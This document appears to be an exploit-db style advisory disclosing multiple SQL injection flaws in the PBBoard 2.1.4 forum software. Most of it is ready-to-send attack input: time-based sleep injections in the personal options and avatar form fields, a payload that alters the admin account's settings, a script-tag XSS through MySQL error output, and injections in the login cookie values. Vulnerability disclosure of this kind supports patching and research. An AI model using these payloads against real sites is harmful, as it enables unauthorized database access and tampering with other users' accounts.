PBBoard 2.1.4 SQL Injection

`# Title: PBBoard v2.1.4 multiple SQLi Vulnerabilities  
# Version: 2.1.4  
# Author/Found by: loneferret  
# Software Site: http://www.pbboard.com/PBBoard_v2.1.4.zip  
# Other vulnerabilities: http://www.exploit-db.com/exploits/18937/  
  
# Date found: May 29th 2012  
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23  
  
# Vulnerability:  
# Due to improper sanitization, many of the parameters are injectable.  
# Need a user account to trigger these.  
  
# As always you can have fun...  
  
PoC:  
  
Page: Personal Options settings  
Parameters: style=  
lang=  
hide_online=  
user_time=  
send_allow=  
pm_emailed=  
pm_window=  
visitormessage=  
Method: POST  
POST DATA:  
style=1&lang=1&hide_online=0&user_time=0&send_allow=1&pm_emailed=0&pm_window=1&visitormessage=2' where id='2' and sleep(5)#&send=Save  
  
By changing the 'id' number used in the 'where' clause, you can modify another user's settings.  
Id=1 being admin you can, for example, change his/her timezone  
POST DATA:  
style=1&lang=1&  
hide_online=0&user_time=+10&  
send_allow=1&  
pm_emailed=0&  
pm_window=1&  
visitormessage=2' where id='1'#&send=Save  
  
Another thing, you can get an XSS using the MySQL's error message. Which is always funny.  
POST DATA:  
style=1&  
lang=1&  
hide_online=0  
&user_time=+10&  
send_allow=1&  
pm_emailed=0&  
pm_window=1&  
visitormessage=<script>alert('xss');</script>#&send=Save  
  
  
PoC #2:  
Here's another example, where we get mysql to sleep for 5 seconds, as well  
as change the admin's (id=1) avatar.  
  
Page: Change avatar  
Parameter: avatar_path=  
Method: POST  
POST DATA:  
-----------------------------68511802421187978011060806853\r\n  
Content-Disposition: form-data; name="options"\r\n  
\r\n  
list\r\n  
-----------------------------68511802421187978011060806853\r\n  
Content-Disposition: form-data; name="avatar_list"\r\n  
\r\n  
look/images/avatar/coof.jpg' where id='1' and sleep(5)#\r\n <--Right Here  
-----------------------------68511802421187978011060806853\r\n  
Content-Disposition: form-data; name="avatar"\r\n  
\r\n  
http://\r\n  
-----------------------------68511802421187978011060806853\r\n  
Content-Disposition: form-data; name="upload"; filename=""\r\n  
Content-Type: application/octet-stream\r\n  
\r\n  
\r\n  
-----------------------------68511802421187978011060806853\r\n  
Content-Disposition: form-data; name="change_avatar"\r\n  
\r\n  
Edit Settings\r\n  
-----------------------------68511802421187978011060806853--\r\n  
  
PoC #3:  
SQLi in the cookie. Just need to modify the cookie value using  
your favorite tool.  
Parameter: PowerBB_username & PowerBB_password  
PowerBB_username=loneferret' and sleep(5)#  
or  
PowerBB_password=e10adc3949ba59abbe56e057f20f883e' and sleep(5)#  
(and if you're wondering there are 58 fields)  
  
  
`